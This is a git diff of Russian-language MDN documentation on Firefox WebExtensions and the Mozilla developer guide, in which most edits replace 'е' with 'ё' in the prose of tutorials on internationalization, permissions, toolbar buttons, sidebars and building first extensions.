          Каждая система i18n требует предоставить строки во всех локализациях, которые Вы хотите поддерживать. В расширениях они хранятся в директории  _locales, размещённой внутри корневой директории. Строки каждой локализации (также называемые сообщениями) хранятся в файле messages.json, находящемся в поддиректории _locales, название которой - тег языка локализации.

          -

          Стоит заметить, что если тег включает в себя и базовый язык, и его региональный вариант, то по конвенции эти язык и вариант разделяются дефисом: например, "en-US". Однако в поддиректориях _locales, вместо дефиса используется нижнее подчеркивание: "en_US".

          +

          Стоит заметить, что если тег включает в себя и базовый язык, и его региональный вариант, то по конвенции эти язык и вариант разделяются дефисом: например, "en-US". Однако в поддиректориях _locales, вместо дефиса используется нижнее подчёркивание: "en_US".

          Таким образом, в нашем примере существую директории "en" (английский), "de" (немецкий), "nl" (голландский), and "ja" (японский). Внутри каждой из них находится файл messages.json .

          @@ -126,21 +126,21 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац

          Здесь мы получаем сообщения, зависящие от локализации браузера, а не просто статические строки.

          -

          Чтобы получить строку сообщения, ее нужно указать следующим образом:

          +

          Чтобы получить строку сообщения, её нужно указать следующим образом:

            -
          1. Два подчеркивания
            2. +
          2. Два подчёркивания
          3. Строка "MSG"
            4. -
          4. Одно подчеркивание
            5. +
          5. Одно подчёркивание
          6. Имя сообщения так как оно указано в messages.json
            7. -
          7. Два подчеркивания
            8. +
          8. Два подчёркивания
          __MSG_ + messageName + __

          Локализация по умолчанию

          -

          Еще одно поле. которое нужно указать в manifest.json — это default_locale:

          +

          Ещё одно поле. которое нужно указать в manifest.json — это default_locale:

          "default_locale": "en"
          @@ -154,7 +154,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац background-image: url(../images/__MSG_extensionName__/header.png); } -

          Этот функционал может быть полезен, однако, возможно, для этих целей стоит использовать {{anch("Заранее определенные сообщения")}}.

          +

          Этот функционал может быть полезен, однако, возможно, для этих целей стоит использовать {{anch("Заранее определённые сообщения")}}.

          Получение сообщений из JavaScript

          @@ -163,7 +163,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац
          • Скорее всего, наиболее часто Вы будете использовать {{WebExtAPIRef("i18n.getMessage()")}} — этот метод используется для получения конкретного сообщения. Примеры его использования можно увидеть ниже.
          • Методы {{WebExtAPIRef("i18n.getAcceptLanguages()")}} и {{WebExtAPIRef("i18n.getUILanguage()")}} используются, если UI надо менять в зависимости от локализации — например, если Вы хотите, чтобы предпочтения, свойственные носителям какого-либо языка, находились выше в списке, или чтобы формат дат соответствовал локализации браузера.
            • -
          • Метод {{WebExtAPIRef("i18n.detectLanguage()")}} используется для получения языка информации, введенной пользователем, и ее форматирования.
            • +
          • Метод {{WebExtAPIRef("i18n.detectLanguage()")}} используется для получения языка информации, введённой пользователем, и её форматирования.

          В нашем примере notify-link-clicks-i18n , фоновый скрипт содержит следующие строки:

          @@ -185,7 +185,7 @@ var content = browser.i18n.getMessage("notificationContent", message.url); } -

          Объект "placeholders"  определяет все заполнители и то, откуда их нужно получать. Заполнитель "url" указывает, что информация о нем должна содержаться в $1 — первое значение, заданное внутри второго параметра getMessage(). Поскольку заполнитель называется "url",  $URL$ используется для его вызова внутри сообщения (то есть для заполнителя "name" нужно использовать $NAME$, и т. д.). Если Вы хотите задать значения нескольких заполнителей, их можно передавать во второй аргумент {{WebExtAPIRef("i18n.getMessage()")}} в виде массива — массив [a, b, c] передает значения $1, $2 и $3, и т. д. внутрь messages.json.

          +

          Объект "placeholders"  определяет все заполнители и то, откуда их нужно получать. Заполнитель "url" указывает, что информация о нем должна содержаться в $1 — первое значение, заданное внутри второго параметра getMessage(). Поскольку заполнитель называется "url",  $URL$ используется для его вызова внутри сообщения (то есть для заполнителя "name" нужно использовать $NAME$, и т. д.). Если Вы хотите задать значения нескольких заполнителей, их можно передавать во второй аргумент {{WebExtAPIRef("i18n.getMessage()")}} в виде массива — массив [a, b, c] передаёт значения $1, $2 и $3, и т. д. внутрь messages.json.

          Давайте посмотрим на пример: изначально сообщение notificationContent в файле en/messages.json такое:

          @@ -220,13 +220,13 @@ var content = browser.i18n.getMessage("notificationContent", message.url); } } -

          В этом примере мы сами задаем значение заполнителя, а не получаем его из переменной, такой как $1. Это может быть полезно, если сообщение очень сложное, и Вы хотите разделить значения, чтобы сделать строки более читаемыми. К тому же, доступ к этим значениям можно получить внутри программы.

          +

          В этом примере мы сами задаём значение заполнителя, а не получаем его из переменной, такой как $1. Это может быть полезно, если сообщение очень сложное, и Вы хотите разделить значения, чтобы сделать строки более читаемыми. К тому же, доступ к этим значениям можно получить внутри программы.

          Вы также можете использовать такие замены для указания частей строки, не нуждающихся в переводе, таких как имена или названия.

          Выбор локализованной строки

          -

          Локализации могут быть указаны с помощью кода языка, например fr или en. Они также могут содержать региональный код, например en_US или en_GB, описывающий региональный вариант языка. Когда вы запрашиваете строку у системы i18n, системы возвращает ее используя следующий алгоритм:

          +

          Локализации могут быть указаны с помощью кода языка, например fr или en. Они также могут содержать региональный код, например en_US или en_GB, описывающий региональный вариант языка. Когда вы запрашиваете строку у системы i18n, системы возвращает её используя следующий алгоритм:

          1. Если для текущей локализации существует файл messages.json, содержащий требуемую строку, возвращается она.
            2. @@ -278,21 +278,21 @@ var content = browser.i18n.getMessage("notificationContent", message.url);

            Пусть default_locale установлен как fr, а текущая локализация браузера — en_GB:

              -
            • Вызов getMessage("colorLocalised") вернет "colour".
              • +
            • Вызов getMessage("colorLocalised") вернёт "colour".
            • Если бы в en_GB не было "colorLocalized", то вызов getMessage("colorLocalised"), вернул бы "color", а не "couleur".
            -

            Заранее определенные сообщения

            +

            Заранее определённые сообщения

            -

            Модуль i18n module предоставляет заранее определенные сообщения, которые можно вызвать таким же образом, как мы это делали в разделе {{anch("Интернационализация manifest.json")}}. Например:

            +

            Модуль i18n module предоставляет заранее определённые сообщения, которые можно вызвать таким же образом, как мы это делали в разделе {{anch("Интернационализация manifest.json")}}. Например:

            __MSG_extensionName__
            -

            Заранее определенные сообщения используют такой же синтаксис, за исключением @@ перед именем сообщения, например:

            +

            Заранее определённые сообщения используют такой же синтаксис, за исключением @@ перед именем сообщения, например:

            __MSG_@@ui_locale__
            -

            Следующая таблица содержит различные заранее определенные сообщения:

            +

            Следующая таблица содержит различные заранее определённые сообщения:

          • @@ -358,7 +358,7 @@ div#header { position: relative; } -

          Для языков, в которых текст читается слева направо, таких как английский, правила CSS, использующие заранее определенные сообщения, сверху задают такие значения:

          +

          Для языков, в которых текст читается слева направо, таких как английский, правила CSS, использующие заранее определённые сообщения, сверху задают такие значения:

          direction: ltr;
 padding-left: 0;
@@ -396,11 +396,11 @@ padding-left: 1.5em;

          Примечание: Чтобы изменить результат getUILanguage требуется языковой пакет, поскольку он отражает язык UI браузера, а не язык сообщений расширения.

          -

          Еще раз загрузите расширение с диска и протестируйте локализацию:

          +

          Ещё раз загрузите расширение с диска и протестируйте локализацию:

            -
          • Еще раз откройте "about:addons" — теперь Вы должны увидеть Ваше расширение, его иконку, имя и описание на выбранном языке.
            • -
          • Еще раз протестируйте расширение. Для нашего примера, Вам следовало бы посетить другую страницу и, нажав на ссылку, проверить, появляется ли сообщение на нужном языке.
            • +
          • Ещё раз откройте "about:addons" — теперь Вы должны увидеть Ваше расширение, его иконку, имя и описание на выбранном языке.
            • +
          • Ещё раз протестируйте расширение. Для нашего примера, Вам следовало бы посетить другую страницу и, нажав на ссылку, проверить, появляется ли сообщение на нужном языке.

          {{EmbedYouTube("R7--fp5pPGg")}}

          diff --git a/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html b/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html index fccb5d5dba..9ab128e3ee 100644 --- a/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html +++ b/files/ru/mozilla/add-ons/webextensions/manifest.json/permissions/index.html @@ -146,7 +146,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/permissions
        • Получение доступа к привилегированным частям tabs API для активной вкладки: Tab.url, Tab.title и Tab.faviconUrl.
          • -

          Цель этих полномочий – позволить расширению выполнять наиболее распространенные сценарии работы, без необходимости выдавать ему более серьёзные привилегии, так как большинство расширений задумано для выполнения какой-либо работы на активной вкладке после взаимодействия с пользователем. Например, представьте расширение, которое встраивает скрипт на текущую страницу, после того как пользователь нажимает на кнопку расширения на панели инструментов. Если бы activeTab полномочий не существовало, расширению бы пришлось запрашивать <all_urls>. Но они бы давали расширению намного больше привилегий, чем ему было бы необходимо: расширение могло бы встраивать скрипты на любую вкладку и в любой момент, когда пожелает.

          +

          Цель этих полномочий – позволить расширению выполнять наиболее распространённые сценарии работы, без необходимости выдавать ему более серьёзные привилегии, так как большинство расширений задумано для выполнения какой-либо работы на активной вкладке после взаимодействия с пользователем. Например, представьте расширение, которое встраивает скрипт на текущую страницу, после того как пользователь нажимает на кнопку расширения на панели инструментов. Если бы activeTab полномочий не существовало, расширению бы пришлось запрашивать <all_urls>. Но они бы давали расширению намного больше привилегий, чем ему было бы необходимо: расширение могло бы встраивать скрипты на любую вкладку и в любой момент, когда пожелает.

          Заметьте, что вы сможете иметь доступ к привилегированному tab API, только на момент взаимодействия расширения с пользователем, и пока вкладка не изменила своё состояние. То есть расширение перестанет иметь данные привилегии при изменении адреса страницы или каком-либо другом событии с вкладкой.

          diff --git a/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html b/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html index 42892c82af..8f913532df 100644 --- a/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html +++ b/files/ru/mozilla/add-ons/webextensions/manifest.json/version/index.html @@ -29,7 +29,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/version
          -

          Версия дополнения, отформатированная как числа и символы ASCII, разделенные точками. Подробнее о формате версий смотрите страницу Version format.

          +

          Версия дополнения, отформатированная как числа и символы ASCII, разделённые точками. Подробнее о формате версий смотрите страницу Version format.

          Обратите внимание, что синтаксис ключа version для Chrome более ограниченный, чем у Firefox:

          diff --git a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html index a221a2a415..3a726aeaaa 100644 --- a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html +++ b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html @@ -74,7 +74,7 @@ document.body.appendChild(header);

          Программная модификация страницы

          -

          Что, если вы всё еще хотите "съедать" страницы, но лишь в тех случаях, когда пользователь попросил об этом? Давайте обновим этот пример таким образом, чтобы мы внедряли контентный скрипт, когда пользователь выбирает соответствующий пункт контентного меню.

          +

          Что, если вы всё ещё хотите "съедать" страницы, но лишь в тех случаях, когда пользователь попросил об этом? Давайте обновим этот пример таким образом, чтобы мы внедряли контентный скрипт, когда пользователь выбирает соответствующий пункт контентного меню.

          Для начала обновим "manifest.json":

          diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html index ba7e259817..6d637ce5e6 100644 --- a/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html +++ b/files/ru/mozilla/add-ons/webextensions/user_interface/browser_action/index.html @@ -7,14 +7,14 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action ---
          {{AddonSidebar}}
          -

          Кнопка на панели инструментов браузера (оригинальное название browser action) - это иконка, которую можно вывести в панель инструментов. Пользователь взаимодействует с расширением нажимая на нее как на кнопку.
          +

          Кнопка на панели инструментов браузера (оригинальное название browser action) - это иконка, которую можно вывести в панель инструментов. Пользователь взаимодействует с расширением нажимая на неё как на кнопку.

          Кнопка на панели инструментов одинаково отображается для любой открытой вкладки. Это предполагает, что расширение единообразно работает со всеми страницами.

          Например, предустановленная кнопка "обновить" перезагружает любую страницу в активной вкладке, кнопка "добавить в избранное" добавляет любой адрес активной вкладки в список избранного. Кнопка загрузок показывает единый для всего браузера список скачанных файлов, независимо от того что за страница открыта в активной вкладке.

          -

          Применимые лишь к определенным страницам кнопки следует реализовывать с помощью кнопки в адресной строке (page action).

          +

          Применимые лишь к определённым страницам кнопки следует реализовывать с помощью кнопки в адресной строке (page action).

          Объявление в manifest.json

          @@ -32,11 +32,11 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action

          Расширение может иметь только одну кнопку для панели инструментов.

          -

          Возможны два способа реакции на нажатие кнопки: отображение всплывающего окна (описано в отдельном разделе) или отправка события в background script расширения. В таком случае реакция на нажатие обеспечивают обработчики событий, подключенные к browserAction.onClicked:

          +

          Возможны два способа реакции на нажатие кнопки: отображение всплывающего окна (описано в отдельном разделе) или отправка события в background script расширения. В таком случае реакция на нажатие обеспечивают обработчики событий, подключённые к browserAction.onClicked:

          browser.browserAction.onClicked.addListener(handleClick);
          -

          Если же указать в качестве реакции на нажатие всплывающее окно, то событие передано не будет. Вместо этого около кнопки отобразится всплывающее окно - отдельная маленькая страница, дальнейшее взаимодействие с пользователем берет на себя она. Подробнее этот сценарий описан на отдельной странице, посвященной всплывающим окнам.

          +

          Если же указать в качестве реакции на нажатие всплывающее окно, то событие передано не будет. Вместо этого около кнопки отобразится всплывающее окно - отдельная маленькая страница, дальнейшее взаимодействие с пользователем берет на себя она. Подробнее этот сценарий описан на отдельной странице, посвящённой всплывающим окнам.

          Все свойства кнопки на панели инструментов можно изменить программно через API browserAction.

          diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/index.html index 142b9deb98..661e20a482 100644 --- a/files/ru/mozilla/add-ons/webextensions/user_interface/index.html +++ b/files/ru/mozilla/add-ons/webextensions/user_interface/index.html @@ -7,7 +7,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface ---
          {{AddonSidebar}}
          -

          У расширений WebExtensions есть несколько органов взаимодействия с пользователем, с их помощью человек пользуется расширенным функционалом. Все они перечислены ниже, с инструкцией как использовать в своем расширении каждый из них.

          +

          У расширений WebExtensions есть несколько органов взаимодействия с пользователем, с их помощью человек пользуется расширенным функционалом. Все они перечислены ниже, с инструкцией как использовать в своём расширении каждый из них.

          Советы как с помощью этих элементов пользовательского интерфейса (UI) обеспечить отличное взаимодействие человека с программой вы найдёте в статье User experience best practices.

          @@ -43,7 +43,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface Кнопка в адресной строке - В отличие от панели инструментов, в адресной строке кнопка должна появляться только рядом с адресом предназначенной для нее страницы. + В отличие от панели инструментов, в адресной строке кнопка должна появляться только рядом с адресом предназначенной для неё страницы. Example showing an address bar button (page action) @@ -59,7 +59,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface Боковая панель -

          В боковой панели рядом с интернет-сайтом открывается web-страница с интерфейсом пользователя. Человек может ее закрыть и открыть когда в ней появится потребность.

          +

          В боковой панели рядом с интернет-сайтом открывается web-страница с интерфейсом пользователя. Человек может её закрыть и открыть когда в ней появится потребность.

          Example of a WebExtension's sidebar diff --git a/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html index 8393c7b8f2..db2780be8b 100644 --- a/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html +++ b/files/ru/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -13,9 +13,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars

          Браузер может включать в себя ряд встроенных боковых панелей. Например, Firefox включает боковую панель для взаимодействия с закладками:

          -

          Используя ключ sidebar_action в manifest.json, расширение может добавить свою боковую панель в браузер. Она будет доступна наравне со встроенными панелями, и пользователь сможет открыть ее, используя тот же механизм, что и для встроенных боковых панелей.

          +

          Используя ключ sidebar_action в manifest.json, расширение может добавить свою боковую панель в браузер. Она будет доступна наравне со встроенными панелями, и пользователь сможет открыть её, используя тот же механизм, что и для встроенных боковых панелей.

          -

          Как и в случае всплывающих окон (Popups), вы задаете содержимое боковой панели как документ HTML. Когда пользователь открывает боковую панель, этот документ загружается в каждое открытое окно браузера. Каждое окно получает свой экземпляр документа. Когда открываются новые окна, они также получат свои собственные экземпляры документа боковой панели.

          +

          Как и в случае всплывающих окон (Popups), вы задаёте содержимое боковой панели как документ HTML. Когда пользователь открывает боковую панель, этот документ загружается в каждое открытое окно браузера. Каждое окно получает свой экземпляр документа. Когда открываются новые окна, они также получат свои собственные экземпляры документа боковой панели.

          Вы можете задать HTML документ для конкретной вкладки, используя функцию {{WebExtAPIRef("sidebarAction.setPanel()")}}. Боковая панель может определить, к какому окну она принадлежит используя {{WebExtAPIRef("windows.getCurrent()")}} API:

          @@ -34,7 +34,7 @@ browser.windows.getCurrent({populate: true}).then((windowInfo) => {

          Использование боковых панелей

          -

          Чтобы использовать боковую панель в своем расширении, укажите с помощью ключа sidebar_action в manifest.json key, HTML-документ панели, а также заголовок и значок по умолчанию:

          +

          Чтобы использовать боковую панель в своём расширении, укажите с помощью ключа sidebar_action в manifest.json key, HTML-документ панели, а также заголовок и значок по умолчанию:

          "sidebar_action": {
   "default_title": "My sidebar",
diff --git a/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html
index f35a11fdb7..cae5ec254f 100644
--- a/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html
@@ -75,7 +75,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
          -

          WebExtensions - это кросс-браузерная система для разработки дополнений для браузера. В значительной степени ее API совместим с  extension API, который поддерживается браузерами Google Chrome и Opera. Расширения, разработанные для этих браузеров, в большинстве случаев будут работать в Firefox или Microsoft Edge с минимальными изменениями. Также API полностью совместим с мультипроцессным Firefox.

          +

          WebExtensions - это кросс-браузерная система для разработки дополнений для браузера. В значительной степени её API совместим с  extension API, который поддерживается браузерами Google Chrome и Opera. Расширения, разработанные для этих браузеров, в большинстве случаев будут работать в Firefox или Microsoft Edge с минимальными изменениями. Также API полностью совместим с мультипроцессным Firefox.

          @@ -83,7 +83,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
          -

          До появления WebExtensions разработка дополнения для Firefox осуществлялась одним из трех различных способов: XUL/XPCOM overlays, bootstrapped extensions или Add-on SDK. В будущем WebExtensions станет рекомендуемым способом разработки дополнений для Firefox, а остальные способы будут считаться устаревшими.

          +

          До появления WebExtensions разработка дополнения для Firefox осуществлялась одним из трёх различных способов: XUL/XPCOM overlays, bootstrapped extensions или Add-on SDK. В будущем WebExtensions станет рекомендуемым способом разработки дополнений для Firefox, а остальные способы будут считаться устаревшими.

          Что дальше?

          diff --git a/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html index e9e4e74784..4e55db9d08 100644 --- a/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html @@ -10,7 +10,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension ---
          {{AddonSidebar}}
          -

          В этой статье мы пройдем весь путь создания WebExtension для Firefox, от начала и до конца. Это дополнение будет просто добавлять красную рамку ко всем страницам, загруженным с "mozilla.org" или любого из его поддоменов.

          +

          В этой статье мы пройдём весь путь создания WebExtension для Firefox, от начала и до конца. Это дополнение будет просто добавлять красную рамку ко всем страницам, загруженным с "mozilla.org" или любого из его поддоменов.

          Исходный код этого дополнения доступен на GitHub: https://github.com/mdn/webextensions-examples/tree/master/borderify.

          @@ -18,7 +18,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

          Написание WebExtension

          -

          Создайте новую директорию (папку) и перейдите в нее:

          +

          Создайте новую директорию (папку) и перейдите в неё:

          mkdir borderify
 cd borderify
          diff --git a/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html index 09f29a7532..53e30de86f 100644 --- a/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -9,14 +9,14 @@ tags: translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension ---
          {{AddonSidebar}} -

          Если Вы уже прочитали статью Ваш первый WebExtension, то уже представляете, как создавать WebExtension. В этой статье мы напишем более сложное дополнение, которое демонстрирует еще несколько API.

          +

          Если Вы уже прочитали статью Ваш первый WebExtension, то уже представляете, как создавать WebExtension. В этой статье мы напишем более сложное дополнение, которое демонстрирует ещё несколько API.

          Дополнение добавляет новую кнопку на панель инструментов Firefox. Когда пользователь кликает по кнопке, мы показываем ему всплывающую панель с предложением выбрать животное. Когда животное выбрано, мы заменяем содержимое текущей страницы на изображение выбранного животного.

          Чтобы реализовать это, мы:

            -
          • определим browser action - кнопку, прикрепленную к панели инструментов Firefox.
            +
          • определим browser action - кнопку, прикреплённую к панели инструментов Firefox.
            Для кнопки мы предоставим:
            • иконку с именем "beasts-32.png"
              • @@ -50,7 +50,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension

              Написание WebExtension

              -

              Создайте новую директорию и перейдите в нее:

              +

              Создайте новую директорию и перейдите в неё:

              mkdir beastify
 cd beastify
              @@ -95,11 +95,11 @@ cd beastify
            • description и homepage_url необязательны, но рекомендуемы: они предоставляют полезную информацию о дополнении.
            • icons необязательный, но рекомендуемый: позволяет Вам определять иконку для дополнения, которая будет показана в Менеджере Дополнений.
            • permissions перечисляет разрешения для нужд дополнения. Здесь мы просто спрашиваем разрешения для activeTab permission.
              • -
            • browser_action задает кнопку на панели инструментов. Здесь мы предоставляем три вида информации: +
            • browser_action задаёт кнопку на панели инструментов. Здесь мы предоставляем три вида информации:
              • default_icon это обязательная иконка для кнопки
              • default_title необязательный заголовок, будет показан в подсказке
                • -
              • default_popup используется, если Вы хотите, чтобы всплывающая панель была показана когда пользователь кликает по кнопке. В нашем примере мы использовали этот ключ и он указывает на HTML файл, подключенный к дополнению.
                • +
              • default_popup используется, если Вы хотите, чтобы всплывающая панель была показана когда пользователь кликает по кнопке. В нашем примере мы использовали этот ключ и он указывает на HTML файл, подключённый к дополнению.
            • web_accessible_resources перечисляет файлы, которые мы хотим сделать доступными для веб-страниц. Поскольку дополнение заменяет содержимое страницы на изображения, которые мы упаковали вместе с дополнением, нам нужно сделать эти изображения доступными для страницы.
              • @@ -130,9 +130,9 @@ cd beastify

              Всплывающая панель

              -

              Функция панели - позволить пользователю выбрать одного из трех зверей.

              +

              Функция панели - позволить пользователю выбрать одного из трёх зверей.

              -

              Создайте новую папку с именем "popup" в корневой папке дополнения. Здесь мы сохраним код для панели. Панель будет состоять из трех файлов:

              +

              Создайте новую папку с именем "popup" в корневой папке дополнения. Здесь мы сохраним код для панели. Панель будет состоять из трёх файлов:

              • choose_beast.html определяет содержимое панели
                • @@ -167,7 +167,7 @@ cd beastify

                choose_beast.css

                -

                CSS фиксирует размер всплывающей панели, гарантирует что три варианта заполняют пространство и дает им основной стиль:

                +

                CSS фиксирует размер всплывающей панели, гарантирует что три варианта заполняют пространство и даёт им основной стиль:

                html, body {
   width: 100px;
@@ -200,7 +200,7 @@ cd beastify

                choose_beast.js

                -

                В JavaScript для всплывающего окна мы обрабатываем события click. Если click был на одном из трех вариантов наших животных, мы добавляем content script в активную вкладку. После того, как content script загрузится, мы отправляем ему сообщение с выбранным животным:

                +

                В JavaScript для всплывающего окна мы обрабатываем события click. Если click был на одном из трёх вариантов наших животных, мы добавляем content script в активную вкладку. После того, как content script загрузится, мы отправляем ему сообщение с выбранным животным:

                /*
 Учитывая имя зверя, получаем URL соответствующего изображения.
@@ -286,7 +286,7 @@ function removeEverything() {
 }
 
 /*
-Учитывая URL изображения зверя, создает и стилизует узел IMG,
+Учитывая URL изображения зверя, создаёт и стилизует узел IMG,
 указывающий на это изображение, затем вставляет узел в документ.
 */
 function insertBeast(beastURL) {
@@ -307,7 +307,7 @@ browser.runtime.onMessage.addListener(beastify);
 
 
                  
  
                • удаляет каждый элемент из document.body
                  • 
- 
                • создает <img> элемент, указывающий на переданный URL, и вставляет элемент в DOM
                  • 
+ 
                • создаёт <img> элемент, указывающий на переданный URL, и вставляет элемент в DOM
                  • 
  
                • удаляет обработчик сообщений.
                  • 
 
                
 
@@ -344,13 +344,13 @@ browser.runtime.onMessage.addListener(beastify);
 
     manifest.json
                -

                Начиная с Firefox 45 Вы можете временно установить дополнения с жесткого диска.

                +

                Начиная с Firefox 45 Вы можете временно установить дополнения с жёсткого диска.

                Откройте "about:debugging" в Firefox, кликните "Загрузить временное дополнение", и выберете Ваш файл manifest.json. После этого Вы должны увидеть иконку дополнения на панели инструментов Firefox:

                {{EmbedYouTube("sAM78GU4P34")}}

                -

                Откройте веб-страницу, затем щелкните иконку, выберите зверя и посмотрите как страница изменится:

                +

                Откройте веб-страницу, затем щёлкните иконку, выберите зверя и посмотрите как страница изменится:

                {{EmbedYouTube("YMQXyAQSiE8")}}

                diff --git a/files/ru/mozilla/developer_guide/index.html b/files/ru/mozilla/developer_guide/index.html index f670a1e0de..81ec0a3996 100644 --- a/files/ru/mozilla/developer_guide/index.html +++ b/files/ru/mozilla/developer_guide/index.html @@ -3,7 +3,7 @@ title: Инструкция разработчика slug: Mozilla/Developer_guide translation_of: Mozilla/Developer_guide --- -

                Есть много способов помочь проекту Mozilla: можно писать код или тестировать существующий, совершенствовать инструменты или процесс сборки, улучшать документацию. Здесь Вы найдете информацию, которая не просто поможет Вам стать частью сообщества Mozilla, но будет полезной даже если Вы уже опытный участник сообщества Mozilla.

                +

                Есть много способов помочь проекту Mozilla: можно писать код или тестировать существующий, совершенствовать инструменты или процесс сборки, улучшать документацию. Здесь Вы найдёте информацию, которая не просто поможет Вам стать частью сообщества Mozilla, но будет полезной даже если Вы уже опытный участник сообщества Mozilla.

                @@ -34,7 +34,7 @@ translation_of: Mozilla/Developer_guide
                Примеры кода
                Полезные примеры кода, которые могут прояснить как сделать что-то, или могут стать основой для дальнейшего развития кода.
                Стратегии разработки Mozilla
                -
                Подсказки как максимальной пользой использовать время проведенное над проектом Mozilla.
                +
                Подсказки как максимальной пользой использовать время проведённое над проектом Mozilla.
                Отладка
                Полезные подсказки и руководства по отладке исходного кода Mozilla.
                Производительность
                @@ -46,7 +46,7 @@ translation_of: Mozilla/Developer_guide
                Совместимость интерфейсов
                Руководство по изменению скриптового и бинарного API  в Mozilla.
                Кастомизация Firefox
                -
                Информация о создании измененной кастомизированной версии Firefox.
                +
                Информация о создании изменённой кастомизированной версии Firefox.
                Виртуальное окружение в ARM Linux
                Как настроить ARM эмулятор с запущенным Linux, чтобы протестировать ARM специфичный код. Эта часть будет полезной для разработчиков  мобильных устройств.
                Устаревшие подсказки и советы для сборки
                @@ -77,7 +77,7 @@ translation_of: Mozilla/Developer_guide
                Perfherder
                Perfherder is used to aggregate the results of automated performance tests against the tree.
                Crash tracking
                -
                Информация о Socorro - системе отчетов об ошибках.
                +
                Информация о Socorro - системе отчётов об ошибках.
                Callgraph
                A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.
                Developer forums
                diff --git a/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html b/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html index 4e02cc082f..69b8a2c05b 100644 --- a/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html +++ b/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html @@ -35,9 +35,9 @@ translation_of: Mozilla/Developer_guide/Inner_and_outer_windows

                На этой диаграмме объекты, с которыми вы взаимодействуете непосредственно в DOM (т.е. {{ domxref("Window") }}, {{ domxref("Document") }}, и {{ domxref("Element") }}, имеют синий цвет. Серые круги представляют собой более абстрактные внутренние и внешние окна, которые являются реальными объектами, с которыми вы не взаимодействуете напрямую при работе с DOM. Окно в верхней части диаграммы - это внешнее окно.

                -

                По мере того, как пользователь перемещается в каждом из документов в различных рамках, каждое из этих внутренних окон имеет свою собственную историю, которую можно перемещать вперед и назад, как и в предыдущей диаграмме.

                +

                По мере того, как пользователь перемещается в каждом из документов в различных рамках, каждое из этих внутренних окон имеет свою собственную историю, которую можно перемещать вперёд и назад, как и в предыдущей диаграмме.

                -

                Элемент {{ HTMLElement("iframe") }} содержит свойство contentWindow, которое дает нам объект внешнего окна {{ domxref("Window") }}, содержащий документ кадра. Аналогично свойству contentDocument фрейма передаёт объект {{ domxref("Document") }} внутри фрейма.

                +

                Элемент {{ HTMLElement("iframe") }} содержит свойство contentWindow, которое даёт нам объект внешнего окна {{ domxref("Window") }}, содержащий документ кадра. Аналогично свойству contentDocument фрейма передаёт объект {{ domxref("Document") }} внутри фрейма.

                Окно, содержащее фрейм, можно получить из свойства {{ domxref("window.parent") }}.

                diff --git a/files/ru/mozilla/developer_guide/introduction/index.html b/files/ru/mozilla/developer_guide/introduction/index.html index 622309fce9..d2964193e5 100644 --- a/files/ru/mozilla/developer_guide/introduction/index.html +++ b/files/ru/mozilla/developer_guide/introduction/index.html @@ -16,10 +16,10 @@ original_slug: Introduction_(alternate)

              Для начала ознакомьтесь с основным руководством - почти всё написанное в нём можно применить и к вышеупомянутым проблемам, в том числе поиск багов, с фикса которых можно начать, а также описание системы наставников.

              Веб сайты

              -

